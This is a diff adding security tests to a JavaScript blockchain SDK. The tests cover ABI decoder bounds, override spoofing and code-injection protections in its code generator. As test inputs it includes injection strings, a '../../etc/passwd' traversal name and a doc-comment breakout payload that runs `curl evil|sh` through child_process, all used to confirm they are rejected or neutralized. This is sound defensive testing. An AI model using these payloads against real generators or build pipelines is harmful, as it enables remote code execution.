           env: childEnv,
@@ -135,14 +135,16 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
         0,
         `generated interface test failed:\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
       );
+      // Accept either the TAP reporter ("# pass 1") or the spec reporter
+      // ("\u2139 pass 1") summary line so the assertion is reporter-agnostic.
       assert.match(
         res.stdout || "",
-        /# pass 1\b/,
-        `generated interface test did not actually run (no '# pass 1' in TAP output);\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
+        /(?:#|\u2139)\s*pass 1\b/,
+        `generated interface test did not actually run (no 'pass 1' summary in test output);\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
       );
       assert.doesNotMatch(
         res.stdout || "",
-        /# pass 0\b|# tests 0\b|# skipped 1\b/,
+        /(?:#|\u2139)\s*pass 0\b|(?:#|\u2139)\s*tests 0\b|(?:#|\u2139)\s*skipped 1\b/,
         `generated interface test was skipped or did not run any tests;\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
       );
       succeeded = true;

package/test/security/abi-decoder-bounds.test.js

@@ -0,0 +1,122 @@
+/**
+ * @testCategory security
+ * @blockchainRequired false
+ * @transactional false
+ * @description The pure-JS ABI decoder must bound dynamic array/bytes/string
+ *              lengths against the available data so a hostile RPC response cannot
+ *              trigger huge allocations or silent truncation.
+ */
+
+const { describe, it } = require("node:test");
+const assert = require("node:assert/strict");
+
+const jsAbi = require("../../src/abi/js-abi-coder");
+const { logSuite, logTest } = require("../verbose-logger");
+
+function num(n) {
+  return BigInt(n).toString(16).padStart(64, "0");
+}
+
+describe("Security: ABI decoder allocation bounds", () => {
+  logSuite("Security: ABI decoder allocation bounds");
+
+  it("rejects a dynamic array declaring more elements than the data can hold (negative)", () => {
+    logTest("rejects an over-long dynamic array length", {});
+    // head: offset(0x20) -> tail: huge length, no element data
+    const data = "0x" + num(32) + num(1_000_000);
+    assert.throws(
+      () => jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data),
+      /array length exceeds available data/i,
+    );
+  });
+
+  it("rejects dynamic bytes declaring more than the data can hold (negative)", () => {
+    logTest("rejects an over-long bytes length", {});
+    const data = "0x" + num(32) + num(1_000_000);
+    assert.throws(
+      () => jsAbi.decodeFunctionResult([{ type: "bytes" }], data),
+      /bytes length exceeds available data/i,
+    );
+  });
+
+  it("rejects a string declaring more than the data can hold (negative)", () => {
+    logTest("rejects an over-long string length", {});
+    const data = "0x" + num(32) + num(1_000_000);
+    assert.throws(
+      () => jsAbi.decodeFunctionResult([{ type: "string" }], data),
+      /string length exceeds available data/i,
+    );
+  });
+
+  it("decodes a well-formed dynamic array (positive)", () => {
+    logTest("decodes a well-formed dynamic array", {});
+    const data = "0x" + num(32) + num(2) + num(1) + num(2);
+    const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data);
+    assert.deepEqual(arr, [1n, 2n]);
+  });
+
+  it("decodes well-formed dynamic bytes (positive)", () => {
+    logTest("decodes well-formed dynamic bytes", {});
+    // length 3, value 0x010203 left-aligned in the data word
+    const data = "0x" + num(32) + num(3) + "010203".padEnd(64, "0");
+    const [bytes] = jsAbi.decodeFunctionResult([{ type: "bytes" }], data);
+    assert.equal(bytes, "0x010203");
+  });
+});
+
+describe("Security: ABI decoder static reads, offset aliasing & fixed arrays", () => {
+  logSuite("Security: ABI decoder static reads, offset aliasing & fixed arrays");
+
+  it("rejects a static word read past the end of the data (negative)", () => {
+    logTest("rejects an out-of-bounds static uint256 read", {});
+    // Truncated data (10 bytes < one 32-byte word): previously _readWordAsBigInt
+    // silently sliced a short array and returned a corrupted/zero value.
+    const data = "0x" + "12".repeat(10);
+    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "uint256" }], data), /read past end of data/i);
+  });
+
+  it("rejects an out-of-bounds static address read (negative)", () => {
+    logTest("rejects an out-of-bounds static address read", {});
+    const data = "0x" + "12".repeat(10);
+    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "address" }], data), /read past end of data/i);
+  });
+
+  it("rejects a dynamic offset that points back into the head region / aliasing (negative)", () => {
+    logTest("rejects a dynamic offset aliasing into the head", {});
+    // Single dynamic param; head word holds offset 0 (< headSize 32).
+    const data = "0x" + num(0);
+    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /points into head region/i);
+  });
+
+  it("rejects a dynamic offset that points outside the data (negative)", () => {
+    logTest("rejects a dynamic offset out of bounds", {});
+    const data = "0x" + num(1_000_000);
+    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /dynamic offset out of bounds/i);
+  });
+
+  it("rejects an enormous fixed-array dimension before allocating (negative)", () => {
+    logTest("rejects an over-large fixed array length", {});
+    const data = "0x" + num(1);
+    assert.throws(
+      () => jsAbi.decodeFunctionResult([{ type: "uint256[1000000000]" }], data),
+      /fixed array length exceeds available data/i,
+    );
+  });
+
+  it("decodes well-formed static values (positive)", () => {
+    logTest("decodes well-formed static uint256 + address", {});
+    const addrWord = "00".repeat(31) + "ab"; // 32-byte word ending in 0xab
+    const data = "0x" + num(5) + addrWord;
+    const [n, addr] = jsAbi.decodeFunctionResult([{ type: "uint256" }, { type: "address" }], data);
+    assert.equal(n, 5n);
+    assert.equal(typeof addr, "string");
+    assert.ok(addr.toLowerCase().endsWith("ab"));
+  });
+
+  it("decodes a well-formed small fixed array (positive)", () => {
+    logTest("decodes a well-formed uint256[2]", {});
+    const data = "0x" + num(7) + num(8);
+    const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[2]" }], data);
+    assert.deepEqual(arr, [7n, 8n]);
+  });
+});

package/test/security/contract-overrides.test.js

@@ -0,0 +1,112 @@
+/**
+ * @testCategory security
+ * @blockchainRequired false
+ * @transactional false
+ * @description Contract override spoofing. A caller-supplied `overrides`
+ *              object must never be able to redirect a contract call to a
+ *              different address (`to`) or replace the encoded calldata (`data`).
+ *              Allow-listed fields (value, gasLimit, ...) must still apply.
+ */
+
+const { describe, it } = require("node:test");
+const assert = require("node:assert/strict");
+const fs = require("node:fs");
+const os = require("node:os");
+const path = require("node:path");
+
+const { Initialize } = require("../../config");
+const qc = require("../../index");
+const { generateFromArtifacts } = require("../../src/generator");
+const { logSuite, logTest } = require("../verbose-logger");
+
+const ABI = [
+  {
+    type: "function",
+    name: "transfer",
+    stateMutability: "nonpayable",
+    inputs: [
+      { name: "to", type: "address" },
+      { name: "amount", type: "uint256" },
+    ],
+    outputs: [{ name: "", type: "bool" }],
+  },
+];
+
+function _mockSigner() {
+  const captured = [];
+  return {
+    captured,
+    signTransaction: async () => "0x",
+    sendTransaction: async (tx) => {
+      captured.push(tx);
+      return { hash: "0x" + "22".repeat(32) };
+    },
+  };
+}
+
+describe("Security: contract override spoofing", () => {
+  logSuite("Security: contract override spoofing");
+
+  it("send() ignores overrides.to/data/from but applies value/gasLimit (negative + positive)", async () => {
+    logTest("send() ignores overrides.to/data/from but applies value/gasLimit", {});
+    await Initialize(null);
+
+    const contractAddr = qc.Wallet.createRandom().address;
+    const recipient = qc.Wallet.createRandom().address;
+    const evil = qc.Wallet.createRandom().address;
+
+    const signer = _mockSigner();
+    const c = new qc.Contract(contractAddr, ABI, signer);
+
+    await c.send("transfer", [recipient, 1n], {
+      to: evil, // must be ignored
+      data: "0xdeadbeef", // must be ignored
+      from: evil, // must be ignored
+      gasLimit: 99999, // must be applied
+      value: 5n, // must be applied
+      attackerKey: "x", // unknown key must be dropped
+    });
+
+    const tx = signer.captured[0];
+    assert.equal(tx.to, c.address, "to must be the contract address, not the attacker's");
+    assert.notEqual(tx.to, evil);
+    assert.notEqual(tx.data, "0xdeadbeef", "data must be the encoded call, not attacker data");
+    assert.ok(typeof tx.data === "string" && tx.data.startsWith("0x"));
+    assert.equal(tx.from, undefined, "from must not be injectable via overrides");
+    assert.equal(tx.gasLimit, 99999, "allow-listed gasLimit must apply");
+    assert.equal(tx.value, 5n, "allow-listed value must apply");
+    assert.ok(!("attackerKey" in tx), "unknown override keys must be dropped");
+  });
+
+  it("populateTransaction.<fn> protects to/data while keeping allow-listed fields", async () => {
+    logTest("populateTransaction.<fn> protects to/data while keeping allow-listed fields", {});
+    await Initialize(null);
+    const contractAddr = qc.Wallet.createRandom().address;
+    const recipient = qc.Wallet.createRandom().address;
+    const evil = qc.Wallet.createRandom().address;
+    const c = new qc.Contract(contractAddr, ABI);
+
+    const tx = await c.populateTransaction.transfer(recipient, 1n, { to: evil, data: "0xbad", gasLimit: 7 });
+    assert.equal(tx.to, c.address);
+    assert.notEqual(tx.data, "0xbad");
+    assert.equal(tx.gasLimit, 7);
+  });
+
+  it("generated factory/contract templates filter overrides (source-level assertion)", () => {
+    logTest("generated factory/contract templates filter overrides", {});
+    const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ov-"));
+    const outDir = path.join(tmp, "out");
+    const abi = [
+      { type: "constructor", stateMutability: "nonpayable", inputs: [] },
+      ...ABI,
+    ];
+    const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Tok", abi, bytecode: "0x6000" }] });
+    const factorySrc = fs.readFileSync(res.contracts[0].factoryFile, "utf8");
+    const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
+    // The unsafe spread of raw overrides must be gone.
+    assert.ok(!factorySrc.includes("...(overrides || {})"), "factory must not spread raw overrides");
+    assert.ok(!contractSrc.includes("...(overrides || {})"), "contract must not spread raw overrides");
+    assert.ok(factorySrc.includes("safeOverrides"), "factory must use the override allow-list");
+    assert.ok(contractSrc.includes("safeOverrides"), "contract must use the override allow-list");
+  });
+});

package/test/security/generator-injection.test.js

@@ -0,0 +1,195 @@
+/**
+ * @testCategory security
+ * @blockchainRequired false
+ * @transactional false
+ * @description Code-injection and path-traversal protections in the SDK
+ *              generator. Attacker-controlled contract/function names (and tuple
+ *              names derived from internalType) must never break out of the
+ *              generated source or escape the output directory.
+ */
+
+const { describe, it } = require("node:test");
+const assert = require("node:assert/strict");
+const fs = require("node:fs");
+const os = require("node:os");
+const path = require("node:path");
+
+const {
+  generate,
+  generateFromArtifacts,
+  generateTransactionalTestJs,
+  assertSafeIdentifier,
+} = require("../../src/generator");
+const { logSuite, logTest } = require("../verbose-logger");
+
+function _tmpOut() {
+  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-inj-"));
+  return path.join(tmp, "out");
+}
+
+describe("Security: generator code-injection & path-traversal", () => {
+  logSuite("Security: generator code-injection & path-traversal");
+
+  it("assertSafeIdentifier rejects breakout strings and reserved words", () => {
+    logTest("assertSafeIdentifier rejects breakout strings and reserved words", {});
+    assert.throws(() => assertSafeIdentifier('Evil"; console.log(1); //', "contract name"));
+    assert.throws(() => assertSafeIdentifier("../../etc/passwd", "contract name"));
+    assert.throws(() => assertSafeIdentifier("with-dash", "contract name"));
+    assert.throws(() => assertSafeIdentifier("__proto__", "contract name"));
+    assert.throws(() => assertSafeIdentifier("class", "contract name"));
+    assert.throws(() => assertSafeIdentifier("", "contract name"));
+    assert.throws(() => assertSafeIdentifier(123, "contract name"));
+    // Positive: valid identifiers are returned unchanged.
+    assert.equal(assertSafeIdentifier("TestToken", "contract name"), "TestToken");
+    assert.equal(assertSafeIdentifier("_balanceOf$2", "fn"), "_balanceOf$2");
+  });
+
+  it("rejects a malicious contractName (negative)", () => {
+    logTest("rejects a malicious contractName (negative)", {});
+    const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
+    assert.throws(
+      () =>
+        generateFromArtifacts({
+          outDir: _tmpOut(),
+          lang: "ts",
+          artifacts: [{ contractName: 'Evil { static x = require("child_process"); } //', abi, bytecode: "0x00" }],
+        }),
+      /Unsafe contract name|reserved word/i,
+    );
+  });
+
+  it("rejects a path-traversal contractName (negative)", () => {
+    logTest("rejects a path-traversal contractName (negative)", {});
+    const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
+    assert.throws(
+      () =>
+        generateFromArtifacts({
+          outDir: _tmpOut(),
+          lang: "ts",
+          artifacts: [{ contractName: "../../evil", abi, bytecode: "0x00" }],
+        }),
+      /Unsafe contract name/i,
+    );
+  });
+
+  it("rejects a malicious ABI function name (negative)", () => {
+    logTest("rejects a malicious ABI function name (negative)", {});
+    const abi = [
+      { type: "function", name: 'foo(){}; const x = 1; bar', stateMutability: "view", inputs: [], outputs: [] },
+    ];
+    assert.throws(
+      () =>
+        generateFromArtifacts({
+          outDir: _tmpOut(),
+          lang: "ts",
+          artifacts: [{ contractName: "Good", abi, bytecode: "0x00" }],
+        }),
+      /Unsafe ABI function name/i,
+    );
+    // Also covered by the transactional-test generator entry point.
+    assert.throws(
+      () => generateTransactionalTestJs({ contractName: "Good", abi, bytecode: "0x00" }),
+      /Unsafe ABI function name/i,
+    );
+  });
+
+  it("sanitizes malicious tuple names derived from internalType (negative-input, safe-output)", () => {
+    logTest("sanitizes malicious tuple names derived from internalType", {});
+    const outDir = _tmpOut();
+    const abi = [
+      {
+        type: "function",
+        name: "getStruct",
+        stateMutability: "view",
+        inputs: [],
+        outputs: [
+          {
+            name: "s",
+            type: "tuple",
+            internalType: 'struct Evil"]; const pwned = 1; //[',
+            components: [{ name: "a", type: "uint256" }],
+          },
+        ],
+      },
+    ];
+    const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Holder", abi, bytecode: "0x00" }] });
+    const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
+    // The tuple type name is derived from the attacker-controlled internalType.
+    // It MUST be emitted as a valid, sanitized TS identifier (the raw payload may
+    // only survive inside the escaped ABI JSON string literal, never as code).
+    const typeDecls = [...contractSrc.matchAll(/export type ([^\s=]+)\s*=/g)].map((m) => m[1]);
+    assert.ok(typeDecls.length >= 1, "a struct type should be generated");
+    for (const id of typeDecls) {
+      assert.match(id, /^[A-Za-z_$][A-Za-z0-9_$]*$/, `tuple type identifier must be sanitized: ${id}`);
+    }
+  });
+
+  it("neutralizes a NatSpec doc-comment breakout in contract & function docs (negative)", () => {
+    logTest("neutralizes a NatSpec doc-comment breakout", {});
+    const payload = `Legit text */ require('child_process').execSync('curl evil|sh'); /* keep`;
+    const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
+    const docs = { contract: payload, functions: { transfer: payload } };
+
+    for (const lang of ["ts", "js"]) {
+      const res = generateFromArtifacts({
+        outDir: _tmpOut(),
+        lang,
+        artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
+      });
+      const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
+      // The comment terminator must be neutralized so it cannot close the JSDoc
+      // block early; the payload may only survive as inert comment text.
+      assert.ok(!src.includes("*/ require"), `[${lang}] doc breakout must be neutralized`);
+      assert.ok(src.includes("* /"), `[${lang}] escaped terminator should be present`);
+      // Belt-and-suspenders: every '*/' in the file must be a real JSDoc close,
+      // i.e. it is the last non-space token on its line (' */').
+      for (const line of src.split(/\r?\n/g)) {
+        const idx = line.indexOf("*/");
+        if (idx !== -1) {
+          assert.match(line.trimEnd(), /\*\/$/, `unexpected mid-line */ (possible breakout): ${line}`);
+        }
+      }
+    }
+  });
+
+  it("renders a benign NatSpec doc normally (positive)", () => {
+    logTest("renders a benign NatSpec doc normally", {});
+    const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
+    const docs = { contract: "Transfers tokens between accounts.", functions: { transfer: "Moves amount to recipient." } };
+    const res = generateFromArtifacts({
+      outDir: _tmpOut(),
+      lang: "ts",
+      artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
+    });
+    const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
+    assert.ok(src.includes("* Transfers tokens between accounts."), "benign contract doc should render");
+    assert.ok(src.includes("* Moves amount to recipient."), "benign function doc should render");
+  });
+
+  it("generates valid output and preserves legitimate identifiers (positive)", () => {
+    logTest("generates valid output and preserves legitimate identifiers (positive)", {});
+    const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ok-"));
+    const abiPath = path.join(tmp, "Test.abi.json");
+    const binPath = path.join(tmp, "Test.bin");
+    const outDir = path.join(tmp, "out");
+    const abi = [
+      {
+        type: "function",
+        name: "balanceOf",
+        stateMutability: "view",
+        inputs: [{ name: "account", type: "address" }],
+        outputs: [{ name: "", type: "uint256" }],
+      },
+    ];
+    fs.writeFileSync(abiPath, JSON.stringify(abi), "utf8");
+    fs.writeFileSync(binPath, "0x6000", "utf8");
+    const res = generate({ abiPath, binPath, outDir, contractName: "TestToken" });
+    const src = fs.readFileSync(res.contractFile, "utf8");
+    assert.ok(src.includes("export class TestToken"));
+    assert.ok(src.includes("async balanceOf"));
+    // All generated files must live inside outDir (no traversal).
+    for (const f of [res.contractFile, res.factoryFile, res.typesFile, res.indexFile]) {
+      assert.ok(path.resolve(f).startsWith(path.resolve(outDir)), `${f} must be inside outDir`);
+    }
+  });
+});